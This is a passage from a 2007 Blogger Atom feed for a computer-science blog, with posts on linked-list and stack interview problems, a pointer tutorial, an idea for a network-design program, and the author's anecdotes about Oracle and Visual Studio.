order, and a single node, insert the node into the correct sorted position in the list.&lt;/li&gt;&lt;li&gt;Write a InsertSort() function which given a list, rearranges its node so that they are sorted in increasing order, It should use SortedInsert() function.&lt;/li&gt;&lt;li&gt;Write and append() function that takes two lists 'a' and 'b' as an argument and appends list 'b' at the end of 'a' and then sets list 'b' to NULL.&lt;/li&gt;&lt;li&gt;Given a list, split it into two sublists - one for the front half, and the one for the back half. If the number of elements is odd, the extra element should go into the front list.&lt;/li&gt;&lt;li&gt;Write a RemoveDuplicates() function which takes a sorted list in increasing order as an argument and deletes any duplicates from the list. Ideally the list should be traversed only once.&lt;/li&gt;&lt;li&gt;Write a function MoveNode() which takes two lists 'a' and 'b' as an argument and removes the front node of list 'b' and pushes it on the front of the first list 'a'.&lt;/li&gt;&lt;li&gt;Write a function AlternatingSplit() that takes one list and divides up its nodes to make two smaller lists. The sublists should be made from the alternating nodes from the original list.&lt;/li&gt;&lt;li&gt;Given two lists, Merge their nodes together to make one list, taking nodes alternatively between the two lists.&lt;/li&gt;&lt;li&gt;Write a function SortedMerge() that take two list as an argument which are sorted in increasing order and merges the two list into one list which is in increasing order.&lt;/li&gt;&lt;li&gt;(This problem requires recursion) Given FrontBack() Split and SortedMerge(), write a classic recursive MergeSort().&lt;/li&gt;&lt;li&gt;Given two lists 'a' and 'b' sorted in increasing order, create and return a new list representing the intersection of the two lists.&lt;/li&gt;&lt;li&gt;Write an iterative Reverse() function that reverses  a list. Ideally the Reverse() should make only one pass through the list.&lt;/li&gt;&lt;li&gt;Write a RecursiveReverse() function that should reverse the link list by making only one pass through the link list.&lt;/li&gt;&lt;/ol&gt;If you have anything to add to this list then do care to contact us with the problem and solution at &lt;a href="http://www.blogger.com/ramblers011@gmail.com"&gt;ramblers011@gmail.com&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-1152458590946879350?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/1152458590946879350/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=1152458590946879350' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1152458590946879350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1152458590946879350'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/all-about-linked-lists.html' title='ALL ABOUT LINKED LISTS'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-7527501765476505042</id><published>2007-06-04T00:40:00.000+05:30</published><updated>2007-06-04T03:03:06.800+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='pointers'/><title type='text'>ALL ABOUT POINTERS</title><content type='html'>Here we are giving a high level overview on pointers that will get u started on the topic, if you still need more then you can &lt;a href="http://www.blogger.com/ramblers011@gmail.com"&gt;contact us&lt;/a&gt; and have a detailed document on pointers which will be the one of the best that u can ever get on net.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Pointers - Before and After&lt;br /&gt;&lt;/span&gt;          &lt;p class="MsoNormal" style="margin: 0in -1pt 0.0001pt 5.5pt; line-height: 12pt;"&gt;There's a lot of nice, tidy code we can write without knowing about pointers. But once we learn to use the power of pointers, we can never go back. There are too many things that can only be done with pointers. But with increased power comes increased responsibility. Pointers allow new and more ugly types of bugs, and pointer bugs can crash in random ways which makes them more difficult to debug. Nonetheless, even with their problems pointers are irresistible programming constructs.&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="margin: 0in -1pt 0.0001pt 5.5pt; line-height: 12pt; font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin: 0in -1pt 0.0001pt 5.5pt; line-height: 12pt; font-weight: bold;"&gt;Why have Pointers ?&lt;br /&gt;&lt;/p&gt;        &lt;p class="MsoNormal" style="margin: 0in -1pt 0.0001pt 5.5pt; line-height: 12.15pt;"&gt;Pointers solve two common software problems. First, pointers allow different sections of code to share information easily. We can get the same effect by copying information back and forth, but pointers solve the problem better. Second, pointers enable complex "linked" data structures like linked lists and binary trees.&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="margin: 0in -1pt 0.0001pt 5.5pt; line-height: 12.15pt;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin: 0in -1pt 0.0001pt 5.5pt; line-height: 12.15pt;"&gt;&lt;span style="font-weight: bold;"&gt;What is a Pointer ?&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin: 0in -1pt 0.0001pt 5.5pt; line-height: 12.15pt;"&gt;  &lt;/p&gt;&lt;p class="MsoNormal" style="margin: 0in -1pt 0.0001pt 5.5pt; line-height: 12.15pt;"&gt;Simple  int and float variables operate pretty intuitively. An int variable is like a box which can store a single int value such as 21. A pointer works a little differently - it does not store a simple value directly. Instead, a pointer stores a reference to another value. The variable pointer refers to is sometimes known as its "pointee". (There is no single, official, word for the concept of a pointee — pointee is just the word used in these explanations.)&lt;/p&gt;&lt;p class="MsoNormal" style="margin: 0in -1pt 0.0001pt 5.5pt; line-height: 12.15pt;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin: 0.5pt 91.65pt 0.0001pt -10.25pt; text-align: right; line-height: 80%;" align="right"&gt; &lt;/p&gt;&lt;span style="font-weight: bold;font-size:14;" &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;!--[if gte vml 1]&gt;&lt;v:rect id="_x0000_s1026" style="'position:absolute;" allowincell="f" filled="f" strokeweight="1pt"&gt;  &lt;v:path arrowok="t"&gt;  &lt;w:wrap anchorx="page"&gt; &lt;/v:rect&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;span style="position: relative; z-index: -1; font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Pointer Deference&lt;br /&gt;&lt;/span&gt;The "dereference" operation follows a pointer's reference to get the value of its pointee.When the dereference operation is used correctly, it's simple. It just accesses the value of the pointee. The only restriction is that the pointer must have a pointee for the dereference to access. Almost all bugs in pointer code involve violating that one restriction. A pointer must be assigned a pointee before dereference operations will work.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;The NULL Pointer&lt;br /&gt;&lt;/span&gt;The constant NULL is a special pointer value which encodes the idea of "points to nothing". It turns out to be convenient to have a well defined pointer value which represents the idea that a pointer does not have a pointee. It is a runtime error to dereference a NULL pointer.&lt;br /&gt;The C language uses the symbol NULL for this purpose. NULL is equal to the integer constant 0, so NULL can play the role of a boolean false. Official C++ no longer uses the NULL symbolic constant — use the integer constant 0 directly. Java uses the symbol null.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pointer Assignment&lt;/span&gt;&lt;br /&gt;The assignment operation (=) between two pointers makes them point to the same pointee. It's a simple rule for a potentially complex situation, so it is worth repeating:assigning one pointer to another makes them point to the same thing.&lt;br /&gt;After assignment, the == test comparing the two pointers will return true.The assignment operation also works with the NULL value. An assignment operation with a NULL pointer copies the NULL value from one pointer to another&lt;span style="font-weight: bold;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Shallow and Deep Copying&lt;br /&gt;&lt;/span&gt;In particular, sharing can enable communication between two functions. One function passes a pointer to the value of interest to another function. Both functions can access the value of interest, but the value of interest itself is not copied. This communication is called "shallow" since instead of making and sending a (large) copy of the value of interest, a (small) pointer is sent and the value of interest is shared. The recipient needs to understand that they have a shallow copy, so they know not to change or delete it since it is shared. The alternative where a complete copy is made and sent is known as a "deep" copy. Deep copies are simpler in a way, since each function can change their copy without interfering with the other copy, but deep copies run slower because of all the copying.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bad Pointers&lt;br /&gt;&lt;/span&gt;When a pointer is first allocated, it does not have a pointee. The pointer is "uninitialized" or simply "bad". A dereference operation on a bad pointer is a serious runtime error. If you are lucky, the dereference operation will crash or halt immediately (Java behaves this way). If you are unlucky, the bad pointer dereference will corrupt a random area of memory, slightly altering the operation of the program so that it goes wrong some indefinite time later. Each pointer must be assigned a pointee before it can support dereference operations. Before that, the pointer is bad and must not be used.&lt;br /&gt;Bad pointers are very common. In fact, every pointer starts out with a bad value.Correct code overwrites the bad value with a correct reference to a pointee, and thereafter the pointer works fine. There is nothing automatic that gives a pointer a valid pointee.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pointers Rule Summary&lt;/span&gt;&lt;br /&gt;No matter how much complex a pointer gets, the list of rules remains short&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A pointer stores a reference to its pointee. The pointee, in turn, stores something useful.&lt;/li&gt;&lt;li&gt;The deference operation on a pointer accesses pointee. A pointer may only be deferenced after it has been assigned to refer to a pointee. Most pointer bugs invlove violating this one rule.&lt;/li&gt;&lt;li&gt;Allocating a pointer doesnot automatically assign it to refer to a pointee. Assigning the pointer to refer to a specific pointee is a separate operation which is easy to forget.&lt;/li&gt;&lt;li&gt;Assignment between two pointers makes them refer to the same pointee which introduces sharing.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-7527501765476505042?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/7527501765476505042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=7527501765476505042' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/7527501765476505042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/7527501765476505042'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/all-about-pointers.html' title='ALL ABOUT POINTERS'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-8389011577689387068</id><published>2007-06-03T21:51:00.000+05:30</published><updated>2007-06-04T00:39:14.533+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='stacks'/><category scheme='http://www.blogger.com/atom/ns#' term='data structures'/><category scheme='http://www.blogger.com/atom/ns#' term='problems'/><category scheme='http://www.blogger.com/atom/ns#' term='interview'/><title type='text'>ALL ABOUT STACKS</title><content type='html'>We are starting a new "ALL ABOUT" series where by we will be trying to do an in depth "analysis" or presenting a collection of problems on a particular topic from Computer Science which will give u better understanding of the topic, as we believe in "&lt;span style="font-weight: bold;"&gt;Master of all trades, Jack of None&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;!&lt;/span&gt;". This will help you face and ace the job interview questions on the discussed topic.&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;Here we are starting with a set of interesting stack related problems in the increasing order of difficulty. If you have difficult solving any of them or if you want to add some more to this collection, you can contact us at &lt;a href="mailto:ramblers011@gmail.com"&gt;ramblers011@gmail.com&lt;/a&gt;, and we will definitely respond with solution(s) or thanks :) ASAP.&lt;o:p&gt; &lt;/o:p&gt;  &lt;p class="MsoNormal"&gt;If you want to add new stack related problems to this collection then &lt;a href="http://www.blogger.com/ramblers011@gmail.com"&gt;email&lt;/a&gt; us the problem with solution so that we can give you credit by posting your problem &amp;amp; solution on our blog.&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;Please add "all about stacks" in the subject so that it will easier for us to manage our emails and to serve you  better.&lt;span style="font-family:Wingdings;"&gt;&lt;span style=""&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;ol&gt;&lt;li&gt;What      are the basic Stack operations?&lt;/li&gt;&lt;li&gt;Write      a program to implement basic operations on a stack checking for overflow      and underflow.&lt;/li&gt;&lt;li&gt;Write      a C/C++ program to implement a stack using an array.&lt;/li&gt;&lt;li&gt;Write      a C/C++ program for implementation of a stack using the linked list.&lt;/li&gt;&lt;li&gt;Write      a program that makes use of a Stack to reverse a line of text.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;What      is purpose of a Stack in implementing a recursive procedure?&lt;/li&gt;&lt;li&gt;Discuss      the conversion of infix form to postfix form using a stack based      algorithm.&lt;/li&gt;&lt;li&gt;Explain      how to implement two stacks in one array S [1…n] in such a way that      neither stack overflows unless the total numbers of elements in both      stacks together is n. The PUSH and POP operations should run in O(1) time.&lt;/li&gt;&lt;li&gt;Explain      how we can implement a queue using two stacks. Analyze the running time of      queue operations.&lt;/li&gt;&lt;li&gt;Explain      how you will model a “reverse polish calculator” using Stack.&lt;/li&gt;&lt;/ol&gt;If you would like to request us for a "All about" series of your interest then do not hesitate to &lt;a href="http://www.blogger.com/ramblers011@gmail.com"&gt;write &lt;/a&gt;to us.&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-8389011577689387068?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/8389011577689387068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=8389011577689387068' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/8389011577689387068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/8389011577689387068'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/all-about-stacks.html' title='ALL ABOUT STACKS'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-3911928681981370395</id><published>2007-06-03T11:40:00.000+05:30</published><updated>2007-06-03T18:42:57.857+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Surface Computing'/><category scheme='http://www.blogger.com/atom/ns#' term='Heuristics'/><category scheme='http://www.blogger.com/atom/ns#' term='Algorithms'/><category scheme='http://www.blogger.com/atom/ns#' term='Optimization'/><title type='text'>Heuristics Based Network Design - A Vision</title><content type='html'>This happened a few months back when I was reading a lot about Networks and stuff and an idea struck me... I found very little work being done in this arena, so I thought, why not study more about this and take it to the next level as a full-fledged project work! I mean, it is &lt;span style="font-weight: bold;"&gt;sale-able&lt;/span&gt; and if completed, would be in demand!! The idea is discussed below:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;u&gt;The Problem:&lt;/u&gt;&lt;br /&gt;In big organizations where there are hundreds of computers, a sound Network Administrator is needed to configure all the systems in one network, achieving an optimal design at the same time. By optimal, I mean that he has to come up with a design that would have to be economical and at the same time robust. In reality, the problem is not that complex for a Network Administrator, as he would (in most of the cases) suggest the most robust design (irrespective of the cost involved)! This is because, &lt;span style="font-style: italic;"&gt;big organizations&lt;/span&gt; would generally not worry about the cost but rather the robust attribute of there network. That means a lot of money would be wasted in setting up a &lt;span style="font-style: italic;"&gt;more than robust&lt;/span&gt; network that is not at all required!&lt;br /&gt;&lt;br /&gt;&lt;u&gt;The Vision:&lt;/u&gt;&lt;br /&gt;What if, there was an intelligent program which would utilize some basic &lt;a href="http://en.wikipedia.org/wiki/Heuristic_%28computer_science%29"&gt;&lt;span style="font-weight: bold;"&gt;Heuristic Algorithms&lt;/span&gt;&lt;/a&gt; to come up with an optimal network design which would not only be as robust as the manually designed network, but also promise to be more efficient! The efficiency could be achieved by using the well established Algorithms of &lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Floyd-Warshall_algorithm"&gt;Floyd-Warshall&lt;/a&gt; &lt;/span&gt;and &lt;a href="http://en.wikipedia.org/wiki/Dijkstra%27s_algorithm"&gt;&lt;span style="font-weight: bold;"&gt;Dijkstra&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;The Inputs:&lt;/u&gt;&lt;br /&gt;The program would require the Network Administrator (or any lay person) to draw a schematic diagram of the layout of the entire office. Now, by drawing, I mean that either the user uses mouse and keyboards to draw the layout (which would be very cumbersome) or he uses a simple graphic tablet and a light pen (here again the interfacing would be necessary). Even better, the program could be integrated with &lt;a href="http://www.microsoft.com/surface/"&gt;Microsoft Surface&lt;/a&gt; and it could be real easy to get in the input of the layout in the form of a drawing. Here again a lot of interfacing would be required.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;The Processing:&lt;/u&gt;&lt;br /&gt;Now, the processing would involve computing the most &lt;span style="font-style: italic;"&gt;economical&lt;/span&gt; network design which would be &lt;span style="font-style: italic;"&gt;as robust as&lt;/span&gt; those designed manually. This wont be easy! We would have to come up with an array of designs that are obtained by using various techniques like &lt;a href="http://en.wikipedia.org/wiki/Greedy_algorithm"&gt;Greedy Algorithms&lt;/a&gt; or &lt;a href="http://en.wikipedia.org/wiki/Dynamic_Programming"&gt;Dynamic Programming&lt;/a&gt;. Each solution will consist of cost optimization and also making the network robust, at the same time. Hence, a detail analysis of how the bridges, routers and switches should be assembled, needs to be compiled. We need to come up with detail plans which would incorporate various architectural challenges like partitions in the office, or cubicles or separate floors! A set of heuristic functions should also be formulated to let the program asses the efficiency of a certain design based on some attributes.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;The Result:&lt;/u&gt;&lt;br /&gt;Towards the end, we would expect the program to work as a full fledged &lt;span style="font-weight: bold;"&gt;design consultant!!&lt;/span&gt; We would be able to feed in either our own design or just the office layout. In the former case, the program should be able to point out the potential flaws, like maximum load points (using &lt;a href="http://en.wikipedia.org/wiki/Depth-first_search"&gt;DFS Algorithms&lt;/a&gt;) and suggest improvements. In the later case, the program should be intelligently able to present its users with the best solution, which is both economical and robust.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;The Future:&lt;/u&gt;&lt;br /&gt;Once the success of the prior versions, we could incorporate some Network Monitoring algorithms which could also let the program to formulate a course of action in case of a disaster. It could make alternate connections intelligently in case some connections break abruptly. We could provide enough intelligence to the program to make it a great Network Administrator on the whole!!&lt;br /&gt;&lt;br /&gt;Finally, I would like to re-assert that this product, if developed as my vision has it, would be a great hit in all sectors of the corporate world. Don't misjudge me as a potential job-snatcher for Network Administrators!! Well, I hope my idea gains so much intelligence, so as to completely replace human brains!! But thats a distant dream! :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-3911928681981370395?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/3911928681981370395/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=3911928681981370395' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/3911928681981370395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/3911928681981370395'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/heuristics-based-network-design-vision.html' title='Heuristics Based Network Design - A Vision'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-5579198694103739566</id><published>2007-05-30T16:14:00.000+05:30</published><updated>2007-05-30T16:41:58.562+05:30</updated><title type='text'>New Look...!!!</title><content type='html'>I am happy to present before to you a new face of &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Digital Neurons!!&lt;/span&gt;&lt;/span&gt; With the new look, comes new offerings and new promises... ;-) The highlights of the &lt;span style="font-style: italic;"&gt;rejuvenation&lt;/span&gt; is as follows:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The blog will be updated &lt;span style="font-style: italic;"&gt;more than thrice&lt;/span&gt; a week! So stay &lt;span style="font-style: italic;"&gt;linked &lt;/span&gt;to it for new thoughts, news, and information related to CS...&lt;/li&gt;&lt;li&gt;We're going &lt;span style="font-style: italic;"&gt;public!!&lt;/span&gt; Now you can contact us on our &lt;a href="mailto:ramblers011@gmail.com"&gt;email&lt;/a&gt; to post comments, feedback, discuss your puzzles and problems with us. You are sure to expect expert solutions and suggestions by us...&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;We can help you!&lt;/span&gt; If you are facing problems related to any programming language, (Java, C#, VC++, VB, C, C++, etc)  or if you are too lethargic to develop a solution by yourself, (no offenses!), &lt;a href="mailto:ramblers011@gmail.com"&gt;just tell us&lt;/a&gt;... And you will have the solution at &lt;span style="font-style: italic;"&gt;rocket speed!!&lt;/span&gt;&lt;/li&gt;&lt;li&gt;We are looking for amateurs who have a passion for CS! You can also be a part of this sacred place and contribute! &lt;a href="mailto:ramblers011@gmail.com"&gt;Let us know&lt;/a&gt; about yourself and we can cast wonders together!&lt;/li&gt;&lt;/ul&gt;There is more to every step you take... :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-5579198694103739566?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/5579198694103739566/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=5579198694103739566' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5579198694103739566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5579198694103739566'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/05/new-look.html' title='New Look...!!!'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-3870908754325401631</id><published>2007-05-27T17:01:00.000+05:30</published><updated>2007-05-27T17:18:34.044+05:30</updated><title type='text'>Did you know? - 1</title><content type='html'>I am beginning a series of new threads which would let you know some facts about Computers which have been found out by my own personal experience... This isn't a copy and a paste from google.com!! To begin with, I would tell you three short, yet surprising facts that I came across, just this week!&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;I was installing Oracle 10g on my system and I got an error which I had never heard of before! The installer told me that the PATH environment variable had 1024 characters and no more extra path information could be added!! Did you know that your PATH length cannot be larger than 1024 characters??!!&lt;/li&gt;&lt;li&gt;I was working on Oracle9i few days back, on a table that contained a column of &lt;span style="font-style: italic;"&gt;CLOB&lt;/span&gt; type. I was accessing this table using the VisualStudio 2005 and each time I inserted some record in this table, I got an Oracle error with a description as ||||||||||||||||||||||... Yes!! Thats not a typo!! I got a series of BARS as the description!! I was puzzled! What the heck was it??!! Finally after tracing the application step-by-step I found out that this error was thrown each time I tried to insert a null ("") into the column of the &lt;span style="font-style: italic;"&gt;CLOB&lt;/span&gt; type! Did you know that you could not insert a null into a column of &lt;span style="font-style: italic;"&gt;CLOB&lt;/span&gt; type??!!&lt;/li&gt;&lt;li&gt;While working on the same application, I also found out that VisualStudio 2005 started to behave erratically if you tried to import tables having columns of &lt;span style="font-style: italic;"&gt;XMLTYPE&lt;/span&gt; from a Database!! It told me that it was unable to retrieve the schema and when i pressed cancel, my entire DataSet was corrupted! I was not able to add Queries, Columns, etc and finally had to delete it totally and rebuild it... :-( Did you know that VisualStudio 2005 is unable to process Tables containing columns of &lt;span style="font-style: italic;"&gt;XMLTYPE&lt;/span&gt;??!!&lt;/li&gt;&lt;/ol&gt;I will be back with even more weird experiences... (As and when I face them!!!)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-3870908754325401631?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/3870908754325401631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=3870908754325401631' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/3870908754325401631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/3870908754325401631'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/05/did-you-know-1.html' title='Did you know? - 1'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-5466292025716120313</id><published>2007-05-18T18:02:00.000+05:30</published><updated>2007-05-18T18:34:14.968+05:30</updated><title type='text'>My Experiments with Truth - And the award goes to!!!</title><content type='html'>It was long back when I told you my messy story about how I got screwed up by the never ending intricacies of Java. Just after all this happened to me, I decided that it was enough for me and then I switched the whole portal that I was developing on to ASP.NET and C#. You would be surprised if I told you this... All that work that was pending on my head since the last &lt;span style="font-weight: bold;"&gt;TWO MONTHS&lt;/span&gt;, was accomplished using simple clicks here and there! And my whole portal was up and functioning perfectly in &lt;span style="font-weight: bold;"&gt;JUST A WEEK!!&lt;/span&gt; You don't believe that?? Hmmm... You should!&lt;br /&gt;&lt;br /&gt;There is a lot of hue-and-cry over Microsoft's expensive softwares etc... But the bottom line is, believe it or not, the products rolled out by Microsoft really rock!! Use the new Visual Studio 2005 and you will know why I say that so confidently! All of us know that such an IDE has never existed for Java. The new Netbeans 5.5 claims a lot but when you use it, you'll feel more than annoyed by its useless over-intelligent features!! Maybe the upcoming version 6 removes my grudges against Netbeans...!&lt;br /&gt;&lt;br /&gt;Talking more about Visual Studio and web development, if you have a basic idea of web development then just use this excellent IDE once and your work could go at a speed 10 times faster than your usual. The Studio bundle gives you the Visual Web Developer 2005 using which you could develop ASP.NET pages without even manually coding it word by word... Just a few intelligent clicks would launch your full featured website with all supports like back-end database and good look and feel.&lt;br /&gt;&lt;br /&gt;All said about the IDE, there has to be some setbacks as stated by the inevitable Murphy Laws that the best software have the coolest bugs of all!! So, this one two has its own demerits... Ofcourse not as annoying as Java! Its about portability... Each time you ship your application, do not forget to package Dot Net Framework 2 with your bundle or else there could be some last minute annoyances! All in all... I must say that Yes! The award goes to Microsoft for giving us the coolest IDE that alleviates all our programming pains!&lt;br /&gt;&lt;br /&gt;(Talking about Murphy's Laws... You might want to have a look at &lt;a href="http://www.murphys-laws.com/"&gt;http://www.murphys-laws.com/&lt;/a&gt; for an exhaustive list of the most hilarious Murphy's Laws!!)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-5466292025716120313?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/5466292025716120313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=5466292025716120313' title='0 Comments'/><link rel='edit' type='application/atom+xml' 